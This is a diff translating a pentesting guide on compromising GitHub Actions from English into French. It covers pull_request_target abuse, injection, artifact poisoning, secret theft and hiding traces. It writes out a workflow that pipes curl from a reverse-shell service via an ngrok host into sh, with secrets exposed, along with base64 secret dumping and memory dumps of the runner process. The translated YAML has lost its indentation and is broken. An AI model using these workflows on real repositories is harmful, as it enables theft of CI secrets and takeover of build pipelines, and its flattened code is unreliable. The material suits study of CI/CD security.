+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
-
 </details>
 
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+Il est possible de vérifier les permissions accordées à un Github Token dans les dépôts d'autres utilisateurs **en vérifiant les journaux** des actions :
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Allowed Execution
+## Exécution Autorisée
 
 > [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> Ce serait la manière la plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**.
 >
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Si vous êtes dans ce scénario, vous pouvez simplement consulter les [techniques de post-exploitation](./#post-exploitation-techniques-from-inside-an-action).
 
-### Execution from Repo Creation
+### Exécution à partir de la Création de Dépôt
 
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+Dans le cas où les membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
 
-### Execution from a New Branch
+### Exécution à partir d'une Nouvelle Branche
 
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés).
 
+Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) :
 ```yaml
 on:
-  workflow_dispatch: # Launch manually
-  pull_request: #Run it when a PR is created to a branch
-    branches:
-      - master
-  push: # Run it when a push is made to a branch
-    branches:
-      - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
 # Use '**' instead of a branh name to trigger the action in all the cranches
 ```
-
 ---
 
-## Forked Execution
+## Exécution Forkée
 
 > [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une action Github d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
 
 ### `pull_request`
 
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+Le déclencheur de workflow **`pull_request`** exécutera le workflow chaque fois qu'une demande de tirage est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> Comme la **limitation par défaut** est pour les **contributeurs de première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** et ensuite envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
 >
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **J'ai testé cela et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et a supprimé son compte.~~
 
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+De plus, par défaut, cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans les [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) :
 
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les demandes de tirage **provenant de dépôts forkés**.
 
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+Un attaquant pourrait modifier la définition de l'action Github afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ou écraser le dépôt en raison des limitations mentionnées.
 
 > [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Oui, si l'attaquant change dans la PR l'action github qui sera déclenchée, son action Github sera celle utilisée et non celle du dépôt d'origine !**
 
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **télécharger des artefacts malveillants**.
 
 ### **`pull_request_target`**
 
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+Le déclencheur de workflow **`pull_request_target`** a **des permissions d'écriture** sur le dépôt cible et **accès aux secrets** (et ne demande pas de permission).
 
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Notez que le déclencheur de workflow **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui donné par la PR (pour **ne pas exécuter de code non fiable**). Pour plus d'infos sur `pull_request_target`, [**consultez les docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+De plus, pour plus d'infos sur cet usage dangereux spécifique, consultez ce [**post de blog github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+Cela peut sembler parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, qu'il est **sécurisé** d'utiliser **`pull_request_target`**, mais il y a **quelques cas où ce n'est pas le cas**.
 
-An this one will have **access to secrets**.
+Et celui-ci aura **accès aux secrets**.
 
 ### `workflow_run`
 
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en cours`.
 
+Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit terminé :
 ```yaml
 on:
-  workflow_run:
-    workflows: [Run Tests]
-    types:
-      - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
 ```
+Moreover, according to the docs: Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**.
 
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
+Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le code utilisé/téléchargé est celui de l'origine ou de la PR forkée.
 
-## Abusing Forked Execution
+## Abus de l'exécution forkée
 
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
 
-### Untrusted checkout execution
+### Exécution de checkout non fiable
 
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request).
 
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
 
 > [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupérera le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
 <strong>    - uses: actions/checkout@v2
 </strong><strong>      with:
 </strong><strong>        ref: ${{ github.event.pull_request.head.sha }}
 </strong>
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 </code></pre>
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
 
 > [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Un dork github pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` cependant, il existe différentes façons de configurer les jobs pour être exécutés en toute sécurité même si l'action est configurée de manière non sécurisée (comme l'utilisation de conditionnelles sur qui est l'acteur générant la PR).
 
-### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Injections de scripts de contexte <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à **l'exécution de code arbitraire :**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **Injection de script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
 
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
 
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Vulnerable Third Party Github Actions
+### Actions Github tierces vulnérables
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents workflows et même de dépôts.
 
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le workflow. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artifact.
 
+Exemple de workflow vulnérable :
 ```yaml
 on:
-  workflow_run:
-    workflows: ["some workflow"]
-    types:
-      - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
 
 jobs:
-  success:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v2
-      - name: download artifact
-        uses: dawidd6/action-download-artifact
-        with:
-          workflow: ${{ github.event.workflow_run.workflow_id }}
-          name: artifact
-      - run: python ./script.py
-        with:
-          name: artifact
-          path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
 ```
-
-This could be attacked with this workflow:
-
+Cela pourrait être attaqué avec ce flux de travail :
 ```yaml
 name: "some workflow"
 on: pull_request
 
 jobs:
-    upload:
-        runs-on: ubuntu-latest
-        steps:
-            - run: echo "print('exploited')" > ./script.py
-            - uses actions/upload-artifact@v2
-              with:
-                name: artifact
-                path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
 ```
-
 ---
 
-## Other External Access
+## Autre Accès Externe
 
-### Deleted Namespace Repo Hijacking
+### Détournement de Namespace de Dépôt Supprimé
 
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Si un compte change de nom, un autre utilisateur pourrait enregistrer un compte avec ce nom après un certain temps. Si un dépôt avait **moins de 100 étoiles avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer un **dépôt avec le même nom** que celui supprimé.
 
 > [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> Donc, si une action utilise un dépôt d'un compte inexistant, il est toujours possible qu'un attaquant puisse créer ce compte et compromettre l'action.
 
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Si d'autres dépôts utilisaient **des dépendances de ces dépôts d'utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Repo Pivoting
+## Pivotement de Dépôt
 
 > [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> Dans cette section, nous allons parler des techniques qui permettraient de **pivoter d'un dépôt à un autre** en supposant que nous avons un certain type d'accès au premier (voir la section précédente).
 
-### Cache Poisoning
+### Poisoning de Cache
 
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Un cache est maintenu entre **les exécutions de workflow dans la même branche**. Ce qui signifie que si un attaquant **compromet** un **package** qui est ensuite stocké dans le cache et **téléchargé** et exécuté par un **workflow plus privilégié**, il pourra également **compromettre** ce workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Artifact Poisoning
+### Poisoning d'Artifact
 
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Les workflows pourraient utiliser **des artifacts d'autres workflows et même de dépôts**, si un attaquant parvient à **compromettre** l'Action Github qui **télécharge un artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromettre les autres workflows** :
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post Exploitation from an Action
+## Post Exploitation d'une Action
 
-### Accessing AWS and GCP via OIDC
+### Accéder à AWS et GCP via OIDC
 
-Check the following pages:
+Consultez les pages suivantes :
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-If you are injecting content into a script it's interesting to know how you can access secrets:
+Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
 
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- Si le secret ou le token est défini comme une **variable d'environnement**, il peut être directement accessible via l'environnement en utilisant **`printenv`**.
 
 <details>
 
-<summary>List secrets in Github Action output</summary>
-
+<summary>Liste des secrets dans la sortie de l'Action Github</summary>
 ```yaml
 name: list_env
 on:
-  workflow_dispatch: # Launch manually
-  pull_request: #Run it when a PR is created to a branch
-    branches:
-      - '**'
-  push: # Run it when a push is made to a branch
-    branches:
-      - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
 jobs:
-  List_env:
-    runs-on: ubuntu-latest
-    steps:
-      - name: List Env
-        # Need to base64 encode or github will change the secret value for "***"
-        run: sh -c 'env | grep "secret_" | base64 -w0'
-        env:
-          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
 
-                    secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
-
 </details>
 
 <details>
 
-<summary>Get reverse shell with secrets</summary>
-
+<summary>Obtenir un shell inversé avec des secrets</summary>
 ```yaml
 name: revshell
 on:
-  workflow_dispatch: # Launch manually
-  pull_request: #Run it when a PR is created to a branch
-    branches:
-      - "**"
-  push: # Run it when a push is made to a branch
-    branches:
-      - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
 jobs:
-  create_pull_request:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Get Rev Shell
-        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
-        env:
-          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
-          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
-
 </details>
 
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
-  - ```bash
-    cat /home/runner/work/_temp/*
-    ```
-- For a JavaScript actions the secrets and sent through environment variables
-  - ```bash
-    ps axe | grep node
-    ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- Pour des actions JavaScript, les secrets sont envoyés via des variables d'environnement.
+- ```bash
+ps axe | grep node
+```
+- Pour une **action personnalisée**, le risque peut varier en fonction de la manière dont un programme utilise le secret qu'il a obtenu de l'**argument** :
 
-  ```yaml
-  uses: fakeaction/publish@v3
-  with:
-    key: ${{ secrets.PUBLISH_KEY }}
-  ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
 
-### Abusing Self-hosted runners
+### Abus des runners auto-hébergés
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
 
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et la malveillante pourrait **voler les secrets** de l'autre.
 
+Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
+Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+### Registre d'images Docker Github
 
-### Github Docker Images Registry
-
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+Il est possible de créer des actions Github qui **construiront et stockeront une image Docker à l'intérieur de Github**.\
+Un exemple peut être trouvé dans l'expansible suivant :
 
 <details>
 
 <summary>Github Action Build &#x26; Push Docker Image</summary>
-
 ```yaml
 [...]
 
 - name: Set up Docker Buildx
-  uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
 
 - name: Login to GitHub Container Registry
-  uses: docker/login-action@v1
-  with:
-    registry: ghcr.io
-    username: ${{ github.repository_owner }}
-    password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
 
 - name: Add Github Token to Dockerfile to be able to download code
-  run: |
-    sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
 
 - name: Build and push
-  uses: docker/build-push-action@v2
-    with:
-      context: .
-      push: true
-      tags: |
-        ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
-        ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
 
 [...]
 ```
-
 </details>
 
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
 
+Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors télécharger l'image Docker en utilisant un jeton d'accès personnel :
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
 {{#endref}}
 
-### Sensitive info in Github Actions logs
+### Informations sensibles dans les journaux de Github Actions
 
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Covering your Tracks
+## Couvrir vos traces
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
